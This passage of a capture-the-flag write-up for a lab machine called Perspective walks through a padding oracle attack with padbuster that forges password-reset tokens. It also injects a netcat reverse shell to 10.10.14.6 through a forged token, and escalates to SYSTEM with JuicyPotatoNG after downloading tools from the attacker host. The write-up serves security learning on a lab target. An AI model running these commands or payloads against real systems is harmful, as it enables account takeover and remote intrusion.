00000000: 2c9e fb02 1a8f e105 f4ef a137 546a f3f5  ,..........7Tj..
00000010: 9ec4 ba3e 00ba 95de f2df d9cf 2f4e fa2f  ...>......../N./
00000020: 9b69 0267 f414 d839 a42c a8fc 89fe 3b9f  .i.g...9.,....;.

Because it’s URL-safe base64, I’ll need to replace -_ with +/ for the Linux base64 to handle it.

The similar starting 16 bytes implies this is more than just a random token, but perhaps some kind of encrypted data.

After resetting the box, the token for my same account name does change. My guess is that the encryption key is changing in this new instance?

Change Password Request

The final step to change the password is a request sent by JavaScript, so the full page doesn’t reload. Looking at the request in Burp, the box has two passwords and the token:

POST /handlers/changePassword.ashx HTTP/1.1
Host: 127.0.0.1:8009
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
Content-Length: 110
Origin: http://127.0.0.1:8009
Connection: close
Referer: http://127.0.0.1:8009/Account/forgot?token=0xdf0ox4kHi05M_Z-1gxHmtgS5RyTUdY5IcK9PPUip8wWwpsSBgqEVUdVd-ai5drFpIR
Cookie: wp-settings-1=mfold%3Do; wp-settings-time-1=1657556979; ASP.NET_SessionId=4rjvscghkfa5k0jvnkxgw0b3
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

password1=0xdf0xdf.&password2=0xdf0xdf.&token=0xdf0ox4kHi05M_Z-1gxHmtgS5RyTUdY5IcK9PPUip8wWwpsSBgqEVUdVd-ai5drFpIR

It seems the token is what identifies the user who’s password can be reset, and that makes sense with the theory that it’s encrypted and contains the account name.

In repeater, I can send this again and look at the response:

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/plain; charset=utf-8
Server: Microsoft-IIS/10.0
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 12 Oct 2022 14:07:34 GMT
Connection: close
Content-Length: 86

Resetting Password for user: 0xdf@perspective.htb
...successfully changed password

If I add some characters (like “0xdf”) to the end of the token, then it crashes:

image-20221012101928311Click for full size image

The title gives a clear error about the Length of the data to decrypt being wrong. There’s a more complete error message down the page, first showing the code where the failure happens:

image-20221012102611451Click for full size image

Then the full traceback:

image-20221012102228634Click for full size image

If instead of adding characters, I just replace the last legit character “R” with a lowercase “r”, there’s a different error:

image-20221012102451702

The error is in the same lines of code, and the traceback shows details:

image-20221012102529038Click for full size image

Padding Oracle Attack

I’ve shown Padding Oracle Attacks a couple times, most recently in Overflow. I have a long description of the attack in the Lazy post. Because I can tell the difference between invalid date and bad padding, I can use that to brute force the encrypted data to get the stream of bytes used to encrypt/decrypt the value. With that, I can read the plaintext and forge new encrypted data.

padbuster is the most common tool to perform this attack (though I wrote a custom tool to perform this attack for Smasher). I’m going to pass padbuster the following arguments:

  • http://127.0.0.1:8009/handlers/changePassword.ashx - The URL to attack;
  • n-Mr6k5Cqc69RHNhC3NHH3lXlAX6vPFsgYfI5MkUmR9Tn9UWWcTUVMatbgk8ynhu - The ciphertext;
  • 16 - The blocksize, which is typically 8 or 16; I’ll try both, but 16 is the one that works here;
  • -post 'password1=0xdf0xdf.&password2=0xdf0xdf.&token=n-Mr6k5Cqc69RHNhC3NHH3lXlAX6vPFsgYfI5M kUmR9Tn9UWWcTUVMatbgk8ynhu' - The POST body to send, including the ciphertext;
  • -encoding 4 - Tell padbuster that the encrypted data is URL-safe base64 encoded;
  • -error 'Padding is invalid' - A string that comes back when the padding is wrong.

Running this take a long time, but it produces the plaintext from the token:

oxdf@hacky$ padbuster http://127.0.0.1:8009/handlers/changePassword.ashx n-Mr6k5Cqc69RHNhC3NHH3lXlAX6vPFsgYfI5MkUmR9Tn9UWWcTUVMatbgk8ynhu 16 -post 'password1=0xdf0xdf.&password2=0xdf0xdf.&token=n-Mr6k5Cqc69RHNhC3NHH3lXlAX6vPFsgYfI5MkUmR9Tn9UWWcTUVMatbgk8ynhu' -encoding 4 -error 'Padding is invalid'

+-------------------------------------------+
| PadBuster - v0.3.3                        |
| Brian Holyfield - Gotham Digital Science  |
| labs@gdssecurity.com                      |
+-------------------------------------------+

INFO: The original request returned the following
[+] Status: 200
[+] Location: N/A
[+] Content Length: 86

INFO: Starting PadBuster Decrypt Mode
*** Starting Block 1 of 2 ***

[+] Success: (133/256) [Byte 16]
[+] Success: (205/256) [Byte 15]
[+] Success: (231/256) [Byte 14]
[+] Success: (133/256) [Byte 13]
[+] Success: (249/256) [Byte 12]
[+] Success: (240/256) [Byte 11]
[+] Success: (205/256) [Byte 10]
[+] Success: (58/256) [Byte 9]
[+] Success: (75/256) [Byte 8]
[+] Success: (58/256) [Byte 7]
[+] Success: (199/256) [Byte 6]
[+] Success: (254/256) [Byte 5]
[+] Success: (127/256) [Byte 4]
[+] Success: (191/256) [Byte 3]
[+] Success: (108/256) [Byte 2]
[+] Success: (65/256) [Byte 1]

Block 1 Results:
[+] Cipher Text (HEX): 79579405fabcf16c8187c8e4c914991f
[+] Intermediate Bytes (HEX): af9b4f8c0e32ccbcce3416027f1a317a
[+] Plain Text: 0xdf@perspective

*** Starting Block 2 of 2 ***

[+] Success: (238/256) [Byte 16]
[+] Success: (105/256) [Byte 15]
[+] Success: (229/256) [Byte 14]
[+] Success: (63/256) [Byte 13]
[+] Success: (19/256) [Byte 12]
[+] Success: (62/256) [Byte 11]
[+] Success: (116/256) [Byte 10]
[+] Success: (123/256) [Byte 9]
[+] Success: (151/256) [Byte 8]
[+] Success: (9/256) [Byte 7]
[+] Success: (69/256) [Byte 6]
[+] Success: (6/256) [Byte 5]
[+] Success: (150/256) [Byte 4]
[+] Success: (18/256) [Byte 3]
[+] Success: (208/256) [Byte 2]
[+] Success: (185/256) [Byte 1]

Block 2 Results:
[+] Cipher Text (HEX): 539fd51659c4d454c6ad6e093cca786e
[+] Intermediate Bytes (HEX): 573fe067f6b0fd608d8bc4e8c5189513
[+] Plain Text: .htb

-------------------------------------------------------
** Finished ***

[+] Decrypted value (ASCII): 0xdf@perspective.htb                                     

[+] Decrypted value (HEX): 307864664070657273706563746976652E6874620C0C0C0C0C0C0C0C0C0C0C0C

[+] Decrypted value (Base64): MHhkZkBwZXJzcGVjdGl2ZS5odGIMDAwMDAwMDAwMDAw=
-------------------------------------------------------       

The plaintext value is unsurprising, the email address associated with the account being reset.

If I grab both sets of “Intermediate Bytes” from that output, I can show how it’s working in Python:

>>> import base64
>>> ct = base64.b64decode('n-Mr6k5Cqc69RHNhC3NHH3lXlAX6vPFsgYfI5MkUmR9Tn9UWWcTUVMatbgk8ynhu', altchars='-_')
>>> stream = bytes.fromhex('af9b4f8c0e32ccbcce3416027f1a317a573fe067f6b0fd608d8bc4e8c5189513')
>>> ''.join([chr(c^s) for c,s in zip(ct, stream)])
'0xdf@perspective.htb\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c'

To forge my own token, I can run padbuster with the additional -plaintext admin@perspective.htb option:

oxdf@hacky$ padbuster http://127.0.0.1:8009/handlers/changePassword.ashx n-Mr6k5Cqc69RHNhC3NHH3lXlAX6vPFsgYfI5MkUmR9Tn9UWWcTUVMatbgk8ynhu 16 -post 'password1=0xdf0xdf.&password2=0xdf0xdf.&token=n-Mr6k5Cqc69RHNhC3NHH3lXlAX6vPFsgYfI5MkUmR9Tn9UWWcTUVMatbgk8ynhu' -encoding 4 -erro
r 'Padding is invalid' -plaintext 'admin@perspective.htb' 
...[snip]...
-------------------------------------------------------
** Finished ***

[+] Encrypted value is: abMcyqOSj42dTuhOhS1h02VdbQExKBnNvrHw4181N7oAAAAAAAAAAAAAAAAAAAAA
-------------------------------------------------------

Reset Password

I’ll visit http://127.0.0.1:8009/Account/forgot?token=abMcyqOSj42dTuhOhS1h02VdbQExKBnNvrHw4181N7oAAAAAAAAAAAAAAAAAAAAA and enter a new password. On submitting, it shows admin’s password has been reset:

image-20221012112516484

And I can log into the staging instances as admin:

image-20221012112608210

Command Injection

Strategy

Having access to the site as admin isn’t useful. Thinking back to PasswordReset.exe, if I can control the token (which I now can via the padding oracle attack), it seems likely that there’s a command injection vulnerability in how PasswordReset.exe is invoked.

Generate token

I’ll generate a malicious token with the encrypted value a@p.htb & \programdata\nc.exe -e cmd 10.10.14.6 443;. I’m going with a really short email address because it doesn’t have to be valid, and executing the padding oracle attack is slow. Then I pass & to continue to the next command. Then I invoke netcat to get a shell, and then close with a ; as the real password will follow.

oxdf@hacky$ padbuster http://127.0.0.1:8009/handlers/changePassword.ashx vvxDte6f6DkOF0KsnnE5ZV7A1-OOE0j_M4InoYFcjTdnkZJsvrmihwXKeWHNxZYW 16 -post 'password1=0xdf0xdf.&password2=0xdf0xdf.&token=vvxDte6f6DkOF0KsnnE5ZV7A1-OOE0j_M4InoYFcjTdnkZJsvrmihwXKeWHNxZYW' -encoding 4 -error 'Padding is invalid' -plaintext 'a@p.htb & \programdata\nc.exe -e cmd 10.10.14.6 443;'
...[snip]...
Block 4 Results:
[+] New Cipher Text (HEX): 33052bfba399f59b474bf9a54b542e9f
[+] Intermediate Bytes (HEX): 073118c0af95f9974b47f5a947582293
...[snip]...
Block 3 Results:
[+] New Cipher Text (HEX): 29c2663713379d889a1dfb13d09003dc
[+] Intermediate Bytes (HEX): 09a10b533306ada6ab2dd522e4be35fc
...[snip]...
Block 2 Results:
[+] New Cipher Text (HEX): 23fa6b9f90ff27bd7a226a8212345dea
[+] Intermediate Bytes (HEX): 42970ffee49e7bd3190c0ffa7714708f
...[snip]...
Block 1 Results:
[+] New Cipher Text (HEX): ed03cd090e692032999009fe01cc4a87
[+] Intermediate Bytes (HEX): 8c43bd27661d4212bfb0558e73a32df5

-------------------------------------------------------
** Finished ***

[+] Encrypted value is: 7QPNCQ5pIDKZkAn-AcxKhyP6a5-Q_ye9eiJqghI0XeopwmY3EzediJod-xPQkAPcMwUr-6OZ9ZtHS_mlS1QunwAAAAAAAAAAAAAAAAAAAAA
-------------------------------------------------------

Submit Token

I’ll go into Repeater and send the password reset command with this token:

POST /handlers/changePassword.ashx HTTP/1.1
Host: 127.0.0.1:8009
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
Content-Length: 106
Origin: http://127.0.0.1:8009
Connection: close
Referer: http://127.0.0.1:8009/Account/forgot?token=n-Mr6k5Cqc69RHNhC3NHH3lXlAX6vPFsgYfI5MkUmR9Tn9UWWcTUVMatbgk8ynhu
Cookie: wp-settings-1=mfold%3Do; wp-settings-time-1=1657556979; ASP.NET_SessionId=4rjvscghkfa5k0jvnkxgw0b3
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

password1=0xdf!!!&password2=0xdf!!!&token=7QPNCQ5pIDKZkAn-AcxKhyP6a5-Q_ye9eiJqghI0XeopwmY3EzediJod-xPQkAPcMwUr-6OZ9ZtHS_mlS1QunwAAAAAAAAAAAAAAAAAAAAA

It hangs, but at nc, I get a shell as administrator:

oxdf@hacky$ rlwrap -cAr nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.151 62483
Microsoft Windows [Version 10.0.17763.2803]
(c) 2018 Microsoft Corporation. All rights reserved.

c:\windows\system32\inetsrv>whoami
perspective\administrator

And I can grab the final flag:

PS C:\users\administrator\desktop> type root.txt
22e9ab4d************************

Beyond Root

Unintended Admin Website Access via Password Reset

Visiting /Account/forgot starts with asking for an email address. If I enter “admin@perspective.htb”, it fails:

image-20221010172518625

I’ll enter the account I registered and continue. Next it asks for my security questions. I’ll answer them correctly, and set Burp to intercept the POST request that comes when I click “Initiate Reset”:

image-20221010172630577

The request looks like this:

image-20221010172710381

I’ll try editing the EmailHidden field by changing “0xdf” to “admin”. The response that comes back is a 500 error.

image-20221010172754986

I’ll try again, but this time, I’ll leave the questions blank when I submit, and change the email:

image-20221010172842591

On forwarding, it seems to work, presenting a form for a new password:

image-20221010172910647

When I enter something, it says:

image-20221010172930181

And I’m able to log in as admin:

image-20221010172956069

This suggests that the block on admin users is only at the first submission, and now that I’m through that part, if I correctly get the admin’s questions (which are just blanks, since they can’t use this feature), I get the token and can reset.

This works on both the main site and on staging.

Unintended Root via Potato

Identify / Upload

When I get a shell as webuser via the deserialization attack, the process has the SeImpersonatePrivilege:

PS C:\programdata> whoami
perspective\webuser
PS C:\windows\system32\inetsrv> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

Worth noting, if I get a shell as the same user with SSH, it doesn’t:

webuser@PERSPECTIVE C:\Users\webuser>whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

I can abuse SeImpersonate with the latest Potato exploit, JuicyPotatoNG. I’ll download the compiled executable from the release page, and upload it to Perspective:

PS C:\programdata> wget 10.10.14.6/JuicyPotatoNG.exe -outfile jp.exe

Failures

Trying to run this fails:

PS C:\programdata> .\jp.exe -t * -p "cmd.exe" -a "/c ping 10.10.14.6" 


         JuicyPotatoNG
         by decoder_it & splinter_code

[*] Testing CLSID {854A20FB-2D44-457D-992F-EF13785D2B51} - COM server port 10247 
[-] The privileged process failed to communicate with our COM Server :( Try a different COM port in the -l flag. 

It’s having issues with the COM server port. It suggests trying a different one. I’ll try a couple at random, but they don’t work. For example:

PS C:\programdata> .\jp.exe -t * -p "cmd.exe" -a "/c ping 10.10.14.6" -l 9001


         JuicyPotatoNG
         by decoder_it & splinter_code

[*] Testing CLSID {854A20FB-2D44-457D-992F-EF13785D2B51} - COM server port 9001 
[-] The privileged process failed to communicate with our COM Server :( Try a different COM port in the -l flag. 

Find Port

The binary has a -s flag to:

Seek for a suitable COM port not filtered by the Windows firewall

I’ll give that a run, and it identifies three ports that are open in the Windows firewall:

PS C:\ProgramData> .\jp.exe -s


         JuicyPotatoNG
         by decoder_it & splinter_code

[*] Finding suitable port not filtered by Windows Defender Firewall to be used in our local COM Server port.
[+] Found non filtered port: 80
[+] Found non filtered port: 443
[+] Found non filtered port: 5985

The above command won’t show any output through my Nishang online PowerShell reverse shell. I think it’s printing to stderr, which isn’t captured. I can upload nc64.exe to get a shell that does, or just use the SSH shell. To test ports, the current session doesn’t need SeImpersonate.

80 and 5985 won’t work because there are already services listening on them. But 443 is open. I’ll try that:

PS C:\programdata> .\jp.exe -t * -p "cmd.exe" -a "/c ping 10.10.14.6" -l 443

At my box, tcpdump sees the ICMP:

oxdf@hacky$ sudo tcpdump -ni tun0 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
13:41:27.329285 IP 10.10.11.151 > 10.10.14.6: ICMP echo request, id 1, seq 1, length 40
13:41:27.329327 IP 10.10.14.6 > 10.10.11.151: ICMP echo reply, id 1, seq 1, length 40
13:41:28.337975 IP 10.10.11.151 > 10.10.14.6: ICMP echo request, id 1, seq 2, length 40
13:41:28.338022 IP 10.10.14.6 > 10.10.11.151: ICMP echo reply, id 1, seq 2, length 40
13:41:29.357208 IP 10.10.11.151 > 10.10.14.6: ICMP echo request, id 1, seq 3, length 40
13:41:29.357253 IP 10.10.14.6 > 10.10.11.151: ICMP echo reply, id 1, seq 3, length 40
13:41:30.369547 IP 10.10.11.151 > 10.10.14.6: ICMP echo request, id 1, seq 4, length 40
13:41:30.369583 IP 10.10.14.6 > 10.10.11.151: ICMP echo reply, id 1, seq 4, length 40

Shell

I’ll upload nc64.exe and run jp.exe. It hangs:

PS C:\programdata> wget 10.10.14.6/nc64.exe -outfile nc.exe
PS C:\programdata> .\jp.exe -t * -p "cmd.exe" -a "/c C:\\programdata\\nc.exe -e cmd 10.10.14.6 443" -l 443

At my listening nc, there’s a shell:

oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.151 49699
Microsoft Windows [Version 10.0.17763.2803]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system